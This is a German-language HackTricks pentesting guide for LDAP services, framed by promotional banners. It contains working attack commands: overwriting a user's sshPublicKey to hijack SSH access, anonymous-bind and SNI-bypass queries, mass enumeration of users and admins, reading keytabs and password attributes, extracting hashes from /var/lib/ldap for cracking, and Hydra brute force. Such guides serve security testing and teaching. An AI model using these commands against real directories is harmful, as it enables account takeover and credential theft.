# 389, 636, 3268, 3269 - Pentesting LDAP
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient hauptsächlich zur Lokalisierung verschiedener Entitäten wie Organisationen, Einzelpersonen und Ressourcen wie Dateien und Geräten in Netzwerken, sowohl öffentlichen als auch privaten. Es bietet einen schlankeren Ansatz im Vergleich zu seinem Vorgänger DAP, indem es einen kleineren Code-Footprint hat. LDAP-Verzeichnisse sind strukturiert, um ihre Verteilung auf mehrere Server zu ermöglichen, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses enthält, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anfragenden zu liefern. Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis oben beginnt**. Dies verzweigt sich in Länder, die sich weiter in Organisationen unterteilen und dann zu organisatorischen Einheiten führen, die verschiedene Abteilungen oder Bereiche repräsentieren. Schließlich erreicht es die Ebene der einzelnen Entitäten, einschließlich Personen und gemeinsam genutzter Ressourcen wie Dateien und Drucker. **Standardport:** 389 und 636 (ldaps). Der Global Catalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP-Datenaustauschformat LDIF (LDAP-Datenaustauschformat) definiert den Verzeichnisinhalt als eine Reihe von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen. ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Zeilen 1-3 definieren die Top-Level-Domain local. * Zeilen 5-8 definieren die First-Level-Domain moneycorp (moneycorp.local). * Zeilen 10-16 definieren 2 Organisationseinheiten: dev und sales. * Zeilen 18-26 erstellen ein Objekt der Domäne und weisen Attribute mit Werten zu. ## Daten schreiben Beachten Sie, dass Sie bei der Änderung von Werten interessante Aktionen durchführen können. Stellen Sie sich zum Beispiel vor, Sie **können die Informationen zu "sshPublicKey"** Ihres Benutzers oder eines anderen Benutzers ändern. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **SSH die öffentlichen Schlüssel aus LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **können Sie sich als dieser Benutzer anmelden, selbst wenn die Passwortauthentifizierung in SSH nicht aktiviert ist**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Sniffen von Klartext-Anmeldeinformationen Wenn LDAP ohne SSL verwendet wird, können Sie **Anmeldeinformationen im Klartext** im Netzwerk sniffen. Außerdem können Sie einen **MITM-Angriff** im Netzwerk **zwischen dem LDAP-Server und dem Client** durchführen. Hier können Sie einen **Downgrade-Angriff** durchführen, damit der Client die **Anmeldeinformationen im Klartext** zur Anmeldung verwendet. **Wenn SSL verwendet wird**, können Sie versuchen, einen **MITM-Angriff** wie oben erwähnt durchzuführen, indem Sie ein **falsches Zertifikat** anbieten. Wenn der **Benutzer es akzeptiert**, können Sie die Authentifizierungsmethode downgraden und die Anmeldeinformationen erneut anzeigen. ## Anonymer Zugriff ### Umgehung der TLS SNI-Überprüfung Laut [**diesem Bericht**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) konnte er allein durch den Zugriff auf den LDAP-Server mit einem beliebigen Domainnamen (wie company.com) als anonymer Benutzer Kontakt zum LDAP-Dienst aufnehmen und Informationen extrahieren. ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonyme Bindungen [LDAP anonyme Bindungen](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) ermöglichen es **unauthentifizierten Angreifern**, Informationen aus der Domäne abzurufen, wie z.B. eine vollständige Auflistung von Benutzern, Gruppen, Computern, Benutzerkontoeigenschaften und der Domänen-Passwortrichtlinie. Dies ist eine **veraltete Konfiguration**, und seit Windows Server 2003 sind nur authentifizierte Benutzer berechtigt, LDAP-Anfragen zu initiieren.\ Allerdings kann es sein, dass Administratoren eine bestimmte Anwendung eingerichtet haben, um anonyme Bindungen zu ermöglichen, und dabei mehr Zugriff gewährt haben als beabsichtigt, wodurch unauthentifizierte Benutzer Zugriff auf alle Objekte in AD erhalten. ## Gültige Anmeldeinformationen Wenn Sie gültige Anmeldeinformationen haben, um sich beim LDAP-Server anzumelden, können Sie mithilfe von [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) alle Informationen über den Domänenadministrator abrufen. ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## Enumeration ### Automatisiert Mit diesem Verfahren können Sie die **öffentlichen Informationen** (wie den Domänennamen) anzeigen: ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
LDAP-Enumeration mit Python anzeigen Sie können versuchen, eine LDAP mit oder ohne Anmeldeinformationen mit Python aufzulisten: `pip3 install ldap3` Versuchen Sie zuerst, **ohne** Anmeldeinformationen eine Verbindung herzustellen: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Wenn die Antwort wie im vorherigen Beispiel `True` ist, können Sie einige **interessante Daten** des LDAP-Servers (wie den **Namenskontext** oder den **Domänennamen**) erhalten von: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Sobald Sie den Namenskontext haben, können Sie einige aufregende Abfragen durchführen. Diese einfache Abfrage zeigt Ihnen alle Objekte im Verzeichnis: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Oder **dump** das gesamte LDAP: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) ist ein Python-Skript, das nützlich ist, um Benutzer, Gruppen und Computer aus einer Windows-Domäne zu ermitteln, indem LDAP-Abfragen verwendet werden. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Überprüfen Sie Null-Anmeldeinformationen oder ob Ihre Anmeldeinformationen gültig sind: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Wenn Sie etwas finden, das besagt, dass "_bind abgeschlossen sein muss_", bedeutet dies, dass die Anmeldeinformationen falsch sind. Sie können **alles aus einer Domäne extrahieren**, indem Sie verwenden: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extrahiere **Benutzer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extrahiere **Computer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **meine Informationen**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **Domänenbenutzer**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **Administratoren**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extrahiere **Remote Desktop-Gruppe**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Um zu sehen, ob Sie Zugriff auf ein Passwort haben, können Sie nach der Ausführung einer der Abfragen grep verwenden: ```bash | grep -i -A2 -B2 "userpas" ``` #### pbis Sie können **pbis** von hier herunterladen: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) und es wird normalerweise in `/opt/pbis` installiert.\ **Pbis** ermöglicht es Ihnen, grundlegende Informationen einfach abzurufen: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Grafische Benutzeroberfläche ### Apache Directory [**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel zur Verwendung dieses Tools hier](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer Sie können eine grafische Benutzeroberfläche mit LDAP-Server hier herunterladen: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Standardmäßig ist es installiert in: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22) (1).png>) ### Godap Sie können darauf zugreifen unter [https://github.com/Macmod/godap](https://github.com/Macmod/godap) ## Authentifizierung über Kerberos Mit `ldapsearch` können Sie sich **über Kerberos anstelle von NTLM** authentifizieren, indem Sie den Parameter `-Y GSSAPI` verwenden. ## POST Wenn Sie auf die Dateien zugreifen können, in denen sich die Datenbanken befinden (könnten in _/var/lib/ldap_ sein), können Sie die Hashes extrahieren, indem Sie verwenden: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` Du kannst John mit dem Passworthash füttern (von '{SSHA}' bis 'structural', ohne 'structural' hinzuzufügen). ### Konfigurationsdateien * Allgemein * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 Server * V3.sas.oc * Microsoft Active Directory Server * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP-Verzeichnisserver * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks Automatische Befehle ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.